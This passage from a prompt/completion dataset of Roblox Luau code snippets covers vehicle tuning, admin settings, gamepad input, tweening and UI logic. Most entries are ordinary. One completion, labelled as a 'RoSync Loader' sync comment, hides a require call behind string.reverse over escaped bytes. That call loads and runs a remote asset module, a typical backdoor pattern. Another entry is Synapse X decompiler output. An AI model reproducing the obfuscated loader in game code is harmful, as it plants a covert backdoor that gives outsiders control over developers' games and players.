prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- @moduledescription Manage all the player, if they are ready or not |
local module = {}
local System = require(game.ReplicatedStorage.System)
module.OnReady = System.Signal.new()
function module.Init()
System.Remotes.ConnectEvent("Ready", function(plr)
print(plr, "is ready!")
local Player = System.Player.Get(plr)
Player.Ready = true
System.Entity.ReplicateToNewPlayer(plr)
Player:OnDeath(true)
end)
game.Players.PlayerRemoving:Connect(function(p)
local plr = System.Player.Get(p)
if not plr then return end
print(plr:ToString(), "Left")
plr:Destroy()
end)
end
return module
|
--[[
Calls a callback on `done` with specific arguments.
]] |
function Promise.prototype:doneCall(callback, ...)
assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:doneCall"))
local length, values = pack(...)
return self:_finally(debug.traceback(nil, 2), function()
return callback(unpack(values, 1, length))
end, true)
end
Promise.prototype.DoneCall = Promise.prototype.doneCall
|
-- << MAIN VARIABLES >> |
function module:SetupMainVariables(location)
main.hdAdminGroup = {
Id = 4676369;
Info = {};
}
main.hdAdminGroupInfo = {}
main.settingsBanRecords = {}
main.alphabet = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
main.UserIdsFromName = {}
main.UsernamesFromUserId = {}
main.validSettings = {"Theme", "NoticeSoundId", "NoticeVolume", "NoticePitch", "ErrorSoundId", "ErrorVolume", "ErrorPitch", "AlertSoundId", "AlertVolume", "AlertPitch", "Prefix"}
main.commandInfoToShowOnClient = {"Name", "Contributors", "Prefixes", "Rank", "Aliases", "Tags", "Description", "Args", "Loopable"}
main.products = {
Donor = 5745895;
OldDonor = 2649766;
}
main.materials = {"Plastic", "Wood", "Concrete", "CorrodedMetal", "DiamondPlate", "Foil", "Grass", "Ice", "Marble", "Granite", "Brick", "Pebble", "Sand", "Fabric", "SmoothPlastic", "Metal", "WoodPlanks", "Cobblestone", "Neon", "Glass",}
main.rankTypes = {
["Auto"] = 4;
["Perm"] = 3;
["Server"] = 2;
["Temp"] = 1;
}
if location == "Server" then
main.pd = {}
main.sd = {}
main.permissions = {
specificUsers = {};
gamepasses = {};
assets = {};
groups = {};
friends = 0;
freeAdmin = 0;
vipServerOwner = 0;
vipServerPlayer = 0;
owner = true
}
main.commandInfo = {}
main.commandRanks = {}
main.infoOnAllCommands = {
Contributors = {}; --table
Tags = {}; --table
Prefixes = {}; --dictionary
Aliases = {}; --dictionary
}
main.morphNames = {}
main.toolNames = {}
main.commands = {}
main.playersRanked = {}
main.playersUnranked = {}
main.settings.UniversalPrefix = "!";
main.serverAdmins = {}
main.owner = {}
main.ownerId = game.CreatorId
if game.CreatorType == Enum.CreatorType.Group then
local success, ownerInfo
for i = 1, 10 do
success, ownerInfo = pcall(function() return main.groupService:GetGroupInfoAsync(game.CreatorId).Owner end)
if success then
break
end
task.wait(1)
end
if success then
main.ownerId = ownerInfo.Id
main.ownerName = ownerInfo.Name
end
end
main.gameName = (game.PlaceId > 0 and main.marketplaceService:GetProductInfo(game.PlaceId, Enum.InfoType.Asset).Name) or "GameNameFailedToLoad"
main.listOfTools = {}
main.ranksAllowedToJoin = 0
main.permissionToReplyToPrivateMessage = {}
main.logs = {
command = {};
chat = {};
}
main.isStudio = main.runService:IsStudio()
main.serverBans = {}
main.blacklistedVipServerCommands = {}
main.banned = {}
main.commandBlocks = {}
--Collisions
for i = 1,3 do
pcall(function() main.physicsService:CreateCollisionGroup("Group"..i) end)
end
main.physicsService:CollisionGroupSetCollidable("Group1", "Group2", false)
elseif location == "Client" then
main.qualifiers = {"me", "all", "others", "random", "admins", "nonAdmins", "friends", "nonFriends", "NBC", "BC", "TBC", "OBC", "R6", "R15", "rthro", "nonRthro"}
main.colors = {}
main.topbarEnabled = true
main.blur = Instance.new("BlurEffect", main.camera)
main.blur.Size = 0
main.commandMenus = {}
main.commandsToDisableCompletely = {laserEyes=true}
main.commandsActive = {}
main.commandsAllowedToUse = {}
main.commandsWithMenus = {
["Type1"] = {
["laserEyes"] = {"Info", "Press and hold to activate."};
["fly"] = {"Input", "Speed"};
["fly2"] = {"Input", "Speed"};
["noclip"] = {"Input", "Speed"};
["noclip2"] = {"Input", "Speed"};
};
["Type2"] = {
["cmdbar2"] = {};
};
["Type3"] = {
["bubbleChat"] = {};
};
}
main.commandSpeeds = {
fly = 50;
fly2 = 50;
noclip = 100;
noclip2 = 25;
}
for commandName, defaultSpeed in pairs(main.commandSpeeds) do
local setting = main.settings.CommandLimits[commandName]
if setting then
local limit = setting.Limit
if defaultSpeed > limit then
main.commandSpeeds[commandName] = limit
end
end
end
main.infoFramesViewed = {
Speed = true;
}
end
table.sort(main.settings.Ranks, function(a,b) return a[1] < b[1] end)
end
return module
|
-------- OMG HAX |
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .9999999999999999 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
for i=1,#c do
if c[i].className == "Part" then
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.PopSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
--else |
--wait(8)
--local x = game.ServerStorage.Backpacks:FindFirstChild(equipped.Value):Clone()
--x.Name = "Backpack"
--x.Parent = character
|
--[[ Public API ]] | --
function Gamepad:Enable()
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local moveFunc = LocalPlayer.Move
local gamepadSupports = UserInputService.GamepadSupports
local controlCharacterGamepad = function(actionName, inputState, inputObject)
if activateGamepad ~= inputObject.UserInputType then return end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputState == Enum.UserInputState.Cancel then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
return
end
if inputObject.Position.magnitude > thumbstickDeadzone then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
MasterControl:AddToPlayerMovement(currentMoveVector)
else
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end
end
local jumpCharacterGamepad = function(actionName, inputState, inputObject)
if activateGamepad ~= inputObject.UserInputType then return end
if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end
if inputState == Enum.UserInputState.Cancel then
MasterControl:SetIsJumping(false)
return
end
MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin)
end
local doDpadMoveUpdate = function(userInputType)
if LocalPlayer and LocalPlayer.Character then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
forwardValue = -1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
forwardValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
backwardValue = 1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
backwardValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
leftValue = -1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
leftValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
rightValue = 1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
rightValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local function setActivateGamepad()
if activateGamepad then
ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
end
assignActivateGamepad()
if activateGamepad then
ContextActionService:BindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
end
end
ContextActionService:BindAction("JumpButton",jumpCharacterGamepad, false, Enum.KeyCode.ButtonA)
ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad, false, Enum.KeyCode.Thumbstick1)
setActivateGamepad()
if not gamepadSupports(UserInputService, activateGamepad, Enum.KeyCode.Thumbstick1) then
-- if the gamepad supports thumbsticks, theres no point in having the dpad buttons getting eaten up by these actions
ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp)
ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown)
ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft)
ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight)
end
gamepadConnectedCon = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if activateGamepad ~= gamepadEnum then return end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
activateGamepad = nil
setActivateGamepad()
end)
gamepadDisconnectedCon = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if activateGamepad == nil then
setActivateGamepad()
end
end)
end
function Gamepad:Disable()
ContextActionService:UnbindAction("forwardDpad")
ContextActionService:UnbindAction("backwardDpad")
ContextActionService:UnbindAction("leftDpad")
ContextActionService:UnbindAction("rightDpad")
ContextActionService:UnbindAction("MoveThumbstick")
ContextActionService:UnbindAction("JumpButton")
ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
if gamepadConnectedCon then gamepadConnectedCon:disconnect() end
if gamepadDisconnectedCon then gamepadDisconnectedCon:disconnect() end
activateGamepad = nil
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
end
return Gamepad
|
--[[ Last synced 8/20/2021 05:26 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
setTriggerWordsForChatAnimation(animationId: string, triggerWords: { string }): nil
Use this function to register a new animation in the "chat emote" feature. Typing any word included in the
`triggerWords` list that is passed as an argument will activate the animation whose ID is passed as the first parameter.
Trigger words support [Lua string patters](https://developer.roblox.com/en-us/articles/string-patterns-reference) for
detecting multiple combinations of characters in a single word. For instance, using the trigger word `haha[ha]*` will
activate the corresponding animation for any message that includes, for instance, the words `hahahahahaha`, `haha`,
`hahaaaaa`, etc.
]] |
local waveAnimationId = "rbxassetid://3344650532" -- "Wave" animation |
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,EnableHolster = false
,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
,RightArmPos = CFrame.new(-0.85, 0.15, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-.65, -0.2, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(1,-0.05,-1.4) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20)) --Client
}
return Config
|
-- TABLES -- |
local Colors = {
[1] = Color3.fromRGB(253, 157, 57),
[2] = Color3.fromRGB(253, 168, 31),
[3] = Color3.fromRGB(253, 185, 25),
[4] = Color3.fromRGB(253, 107, 33),
[5] = Color3.fromRGB(253, 51, 24),
[6] = Color3.fromRGB(253, 159, 7),
[7] = Color3.fromRGB(253, 181, 97),
[8] = Color3.fromRGB(253, 226, 72),
[9] = Color3.fromRGB(253, 155, 110),
[10] = Color3.fromRGB(0, 0, 0),
}
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 707 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Dependencies |
local Conf = require(ReplicatedFirst.Configurations.MainConfiguration)
|
--- Begins tracking scope and target changes. |
function ScopeHUD:didMount()
self:UpdateTargetingState()
-- Set up targeting change listeners
local Targeting = self.props.Core.Targeting
self.Maid.ScopeChangeListener = Targeting.ScopeChanged:Connect(function (Scope)
Targeting:UpdateTarget()
self:setState({
Scope = Scope or Roact.None;
})
end)
self.Maid.ScopeTargetChangeListener = Targeting.ScopeTargetChanged:Connect(function (ScopeTarget)
self:setState({
ScopeTarget = ScopeTarget or Roact.None;
})
end)
self.Maid.TargetChangeListener = Targeting.TargetChanged:Connect(function (DirectTarget)
self:setState({
DirectTarget = DirectTarget or Roact.None;
})
end)
self.Maid.ScopeLockChangeListener = Targeting.ScopeLockChanged:Connect(function (IsScopeLocked)
self:setState({
IsScopeLocked = IsScopeLocked;
})
end)
-- Set up alt key listeners
local function AltKeyCallback(_, State, Input)
if State.Name == 'Begin' then
self:setState({
IsAltDown = true;
})
elseif State.Name == 'End' then
self:setState({
IsAltDown = false;
})
end
return Enum.ContextActionResult.Pass
end
ContextActionService:BindAction('BT/ScopeHUD: Scope', AltKeyCallback, false,
Enum.KeyCode.LeftAlt,
Enum.KeyCode.RightAlt
)
-- Set up content size listener
if self.LayoutRef.current then
local Layout = self.LayoutRef.current
local LayoutChanged = Layout:GetPropertyChangedSignal('AbsoluteContentSize')
self.UpdateContainerSize(UDim2.new(0, Layout.AbsoluteContentSize.X, 0, 38/2))
self.Maid.LayoutListener = LayoutChanged:Connect(function ()
self.UpdateContainerSize(UDim2.new(0, Layout.AbsoluteContentSize.X, 0, 38/2))
end)
end
end
|
-- its best to anchor while welding, and then unanchor when finished |
parts_table=script.Parent:GetChildren()
round=function(num)
local a,b=math.modf(num)
if num%1~=0 then
return math.floor(num)+math.floor(b*10)/10
else
return math.floor(num)
end end
function convertSizeToScale(t)
for i,v in pairs(t) do
if v:IsA"BasePart" then
if v:findFirstChild"Mesh" then
if not v.Size == Vector3.new(0.2, 0.2, 0.2) then
local vm=v.Mesh
local vsize=v.Size
local vscale=vm.Scale
local percx=vsize.X/vscale.X
local percy=vsize.Y/vscale.Y
local percz=vsize.Z/vscale.Z
local vtotalsize=Vector3.new(0,0,0)
if round(v.Size.X*10)/10 ~= 0.2 then
print(v.Name, v.Size.X)
vtotalsize = vtotalsize + Vector3.new(percx * 5, 0, 0)
else
vtotalsize = vtotalsize + Vector3.new(vm.Scale.X, 0, 0)
end
if round(v.Size.Y*10)/10 ~= 0.2 then
vtotalsize = vtotalsize + Vector3.new(0, percy * 5, 0)
else
vtotalsize = vtotalsize + Vector3.new(0, vm.Scale.Y, 0)
end
if round(v.Size.Z*10)/10 ~= 0.2 then
vtotalsize = vtotalsize + Vector3.new(0, 0, percz * 5)
else
vtotalsize = vtotalsize + Vector3.new(0, 0, vm.Scale.Z)
end
local prevc=v.CFrame
v.Size=Vector3.new(0.2,0.2,0.2)
v.CFrame=prevc
vm.Scale=vtotalsize
end
end
end
end
end
function weld(modelgroup,anchored,cancollide)
local parts,last = {}
local function scan(parent)
for _,v in pairs(parent:GetChildren()) do
if (v:IsA("BasePart")) then
if (last) then
local w = Instance.new("Weld")
w.Name = ("Weld")
w.Part0,w.Part1 = last,v
w.C0 = last.CFrame:inverse()
w.C1 = v.CFrame:inverse()
w.Parent = last
end
last = v
table.insert(parts,v)
end
scan(v)
end
end
scan(modelgroup)
for _,v in pairs(parts) do
v.Anchored=anchored
v.CanCollide=cancollide
end
end
wait(1)
for i, v in pairs (script.Parent:GetChildren()) do
if v:FindFirstChild("Weld") then
v.Weld:Destroy()
end
end
convertSizeToScale(parts_table)
weld(script.Parent,true,false)
|
--[=[
@param signal RBXScriptSignal
@param fn (...: any) -> any
@return RBXScriptConnection
Connects the function to the signal, adds the connection
to the trove, and then returns the connection.
```lua
trove:Connect(workspace.ChildAdded, function(instance)
print(instance.Name .. " added to workspace")
end)
```
]=] |
function Trove:Connect(signal, fn)
return self:Add(signal:Connect(fn))
end
|
--wait(math.random(0,5)/10) |
while true do
wait(0.5)
local target = findNearestTorso(script.Parent.Torso.Position)
if target ~= nil then
script.Parent.EnemyHumanoid:MoveTo(target.Position, target)
end
end
|
--Don't edit anything below unless you can script well!
--This plane was made by TurboFusion |
repeat wait() until game.Players.LocalPlayer --This line makes the tool wait until it is in the Player's backpack |
--[[
PartUtility
Description: A simple litle class that compresses common instructions like getting a character from an instance or making something entirely invisible.
]] |
local PartUtility = {}
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 140 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 240 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 300 ,
spInc = 60 , -- Increment between labelled notches
}
}
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = script:FindFirstAncestor("MainUI");
local v2 = game["Run Service"];
local l__UserInputService__3 = game:GetService("UserInputService");
local v4 = {};
local u1 = {};
local u2 = require(script.Parent.Parent);
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local l__TweenService__4 = game:GetService("TweenService");
function v4.update(p1)
u1 = {};
if u2.dead == true then
p1 = false;
end;
for v5, v6 in pairs(game.Players:GetChildren()) do
local v7, v8 = pcall(function()
if v6.Character and v6 ~= l__LocalPlayer__3 then
local v9 = {};
for v10, v11 in pairs(v6.Character:GetDescendants()) do
if v11:IsA("BasePart") and v11.Transparency < 1 then
table.insert(v9, v11);
end;
end;
table.insert(u1, { v6.Character, v9 });
end;
end);
if v8 then
warn(v8);
end;
end;
local v12, v13 = pcall(function()
for v14, v15 in pairs(u1) do
local v16 = v15[1];
local v17 = v15[2];
local v18 = v15[2][1];
if v18 then
if v18:GetAttribute("Hidden") ~= true and p1 == true then
for v19, v20 in pairs(v17) do
l__TweenService__4:Create(v20, TweenInfo.new(0.6), {
LocalTransparencyModifier = 0.7
}):Play();
end;
v18:SetAttribute("Hidden", true);
elseif v18:GetAttribute("Hidden") == true and p1 == false then
for v21, v22 in pairs(v17) do
l__TweenService__4:Create(v22, TweenInfo.new(0.6), {
LocalTransparencyModifier = 0
}):Play();
end;
v18:SetAttribute("Hidden", false);
end;
end;
wait();
end;
end);
if v13 then
warn(v13);
end;
end;
v4.update(false);
game.Players.PlayerAdded:Connect(v4.update);
game.Players.PlayerRemoving:Connect(v4.update);
for v23, v24 in pairs(game.Players:GetChildren()) do
v24.CharacterAdded:Connect(v4.update);
end;
return v4;
|
---[[ Font Settings ]] |
module.DefaultFont = Enum.Font.GothamBold
module.ChatBarFont = Enum.Font.GothamBold
|
--A data-loading function. |
function LoadData(Player)
if PlayersItems:GetAsync(Player.UserId) ~= nil then
for i,ToolName in ipairs(PlayersItems:GetAsync(Player.UserId)) do
local Tool = game.ServerStorage[ToolName]
local PlayerTool = Tool:Clone()
PlayerTool.Parent = Player.Backpack
end
end
end
|
-- Function to recursively search for a child of a given class |
local function FindChildOfClassRecursive(instance, className)
for _, child in pairs(instance:GetDescendants()) do
if child:IsA(className) then
return child
end
end
return nil
end
|
--[=[
@param obj any
@return boolean
Returns `true` if `obj` belongs to the EnumList.
]=] |
function EnumList:BelongsTo(obj: any): boolean
return Symbol.IsInScope(obj, self._scope)
end
export type EnumList = typeof(EnumList.new("", {""}))
return EnumList
|
-- print(string.format("[%s] %s", getfenv(2).script.Name, (string.format(tostring(table.remove(v1, 1)), unpack(v1))))); |
end,
warn = function(...)
-- warn(string.format(...));
end,
error = function(...)
--warn("ERROR: " .. string.format(...) .. "\n" .. debug.traceback());
end
};
|
------------------------------------------------------------------------------------ |
local WaitTime = 1 -- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Regen" ---If your model is not named this, then make the purple words the same name as the model! |
--[[Misc]] |
Tune.LoadDelay = .5 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
--[[
Returns a value with Out tween direction of an Exponential tween style
that reverses at a specified midpoint. Alpha and return value are both 0 <= x <= 1,
and midpoint is 0 < x < 1.
--]] |
local EPSILON = 0.001
local function getExponentialTweenValueWithMidpoint(alpha: number, midpoint: number)
-- To avoid division by zero, midpoint needs to be 0 < midpoint < 1. Its purpose
-- is to be somewhere between the 0 and 1 bounds to provide a switching point from
-- increasing to decreasing, so logically it shouldn't be at either boundary. For this reason,
-- we define EPSILON to define how near the bounds it can be.
midpoint = math.clamp(midpoint, EPSILON, 1 - EPSILON)
alpha = math.clamp(alpha, 0, 1)
local function increasing()
return 1 - 2 ^ (-10 * alpha / midpoint)
end
local function decreasing()
return 1 - 2 ^ (10 * (alpha - 1) / (1 - midpoint))
end
return if alpha <= midpoint then increasing() else decreasing()
end
return getExponentialTweenValueWithMidpoint
|
-- FALL SERVICE --
--local DefaultGroup = fallService.new("Default", 20, 0.4, { --last argument is optional
-- ["MaterialsDamage"] = {
-- ["Water"] = 0, -- multiply damage by 0 if fall in water (so 0 damage)
-- ["Fabric"] = 0.85, -- by default all materials have 1 multiplier
-- ["Grass"] = 0.85,
-- ["Sand"] = 0.75
-- }
--}) | |
-- Check if character is there |
if script.Owner.Value.Character ~= nil then
-- Find knife
local knife = nil
if script.Owner.Value.Backpack:FindFirstChild("Knife") then
knife = script.Owner.Value.Backpack.Knife
elseif script.Owner.Value.Character:FindFirstChild("Knife") then
knife = script.Owner.Value.Character.Knife
end
if knife ~= nil then
-- Make knife reload faster
knife.KnifeScript.KnifeThrowCooldown.Value = knife.KnifeScript.KnifeThrowCooldown.Value * COOLDOWN_CHANGE
end
end
|
--local Items = {
-- ["Name"] = {
-- Price = 300,
-- CurrencyType = Enum.CurrencyType.Default;
-- Decal = 123456,
-- NameInItemsFolder --[[ReplicatedStorage/Gears]] = "Gear",
-- Name --[[because tables work stupidly]] = "Gear",
-- Special = "This is what appears in the description section";
-- GamepassId = 1276132162 --Dev product ID
-- };
-- ["test"] = {
-- Price = 300,
-- CurrencyType = Enum.CurrencyType.Default;
-- Decal = "http://www.roblox.com/asset/?id=9368539255",
-- NameInItemsFolder --[[ReplicatedStorage/Gears]] = "an actual house",
-- Name --[[because tables work stupidly]] = "an actual house",
-- Special = "lol";
-- GamepassId = 123456; --Not used in this case, as it's a FB item.
-- };
--} | |
--//R//-- |
if gear.Value == -1 then
if carSeat.Throttle == 1 then
rwd.Throttle = -1
rwd.Torque = tq/1.2
rwd.MaxSpeed = maxspeed/10
lwd.Throttle = -1
lwd.Torque = ftq/1.2
lwd.MaxSpeed = maxspeed/10
rrwd.Throttle = -1
rrwd.Torque = ftq/1.2
rrwd.MaxSpeed = maxspeed/10
elseif carSeat.Throttle == -1 then
rb.RB.CanCollide = true
rb.FB.CanCollide = true
lfb.RB.CanCollide = true
lfb.FB.CanCollide = true
rfb.RB.CanCollide = true
rfb.FB.CanCollide = true
wait(brakes)
rb.RB.CanCollide = false
rb.FB.CanCollide = false
lfb.RB.CanCollide = false
lfb.FB.CanCollide = false
rfb.RB.CanCollide = false
rfb.FB.CanCollide = false
wait()
elseif carSeat.Throttle == 0 then
rwd.Throttle = 0
rwd.Torque = cst
rwd.MaxSpeed = maxspeed
lwd.Throttle = 0
lwd.Torque = cst
lwd.MaxSpeed = maxspeed
rrwd.Throttle = 0
rrwd.Torque = cst
rrwd.MaxSpeed = maxspeed
rb.RB.CanCollide = false
rb.FB.CanCollide = false
lfb.RB.CanCollide = false
lfb.FB.CanCollide = false
rfb.RB.CanCollide = false
rfb.FB.CanCollide = false
end
end |
--[[
[Horizontal and Vertical limits for head and body tracking.]
[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]] |
local HeadHorFactor = 1
local HeadVertFactor = 1
local BodyHorFactor = 1.5
local BodyVertFactor = 1.4
|
--[=[
@within Keyboard
@prop KeyDown Signal<Enum.KeyCode>
@tag Event
Fired when a key is pressed.
```lua
keyboard.KeyDown:Connect(function(key: KeyCode)
print("Key pressed", key)
end)
```
]=]
--[=[
@within Keyboard
@prop KeyUp Signal<Enum.KeyCode>
@tag Event
Fired when a key is released.
```lua
keyboard.KeyUp:Connect(function(key: KeyCode)
print("Key released", key)
end)
```
]=] | |
-- Roblox NPC sound script |
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local SOUND_DATA = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
Pitch = 1.85,
},
Splash = {
SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
|
--[=[
@function toSet
@within Array
@param array {T} -- The array to convert to a set.
@return Set<T> -- The set.
Converts an array to a set.
```lua
local array = { "a", "b", "b", "c", "d" }
local set = ToSet(array) -- { a = true, b = true, c = true, d = true }
```
]=] |
local function toSet<T>(array: { T }): _T.Set<T>
local set = {}
for _, value in ipairs(array) do
set[value] = true
end
return set
end
return toSet
|
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "PRESET 1"
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = "" |
elseif carSeat.Stations.mood.Value == 1 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 5 |
-- a: amplitud
-- p: period |
local function outElastic(t, b, c, d, a, p)
if t == 0 then return b end
t = t / d
if t == 1 then return b + c end
if not p then p = d * 0.3 end
local s
if not a or a < abs(c) then
a = c
s = p / 4
else
s = p / (2 * pi) * asin(c/a)
end
return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b
end
|
-- |
script.Parent.KickDoor.MouseButton1Click:Connect(function()
House.DoAction:InvokeServer('Kick')
end) |
-- Make sure to spell it 100% correct. |
local permissions = {
cmds = 'Players',
help = 'Players',
m = 'Admins',
exploitlogs = 'Admins',
}
local defaultLevel = 'Creators' -- The permission level that will be set for commands not configured above.
|
--[[ SERVICES ]] | --
local TweenService = game:GetService("TweenService")
local StarterGui = game:GetService("StarterGui")
|
---- GETTERS AND SETTERS ---- |
local function ModifyTransformation(cast: ActiveCast, velocity: Vector3?, acceleration: Vector3?, position: Vector3?)
local trajectories = cast.StateInfo.Trajectories
local lastTrajectory = trajectories[#trajectories]
-- NEW BEHAVIOR: Don't create a new trajectory if we haven't even used the current one.
if lastTrajectory.StartTime == cast.StateInfo.TotalRuntime then
-- This trajectory is fresh out of the box. Let's just change it since it hasn't actually affected the cast yet, so changes won't have adverse effects.
if (velocity == nil) then
velocity = lastTrajectory.InitialVelocity
end
if (acceleration == nil) then
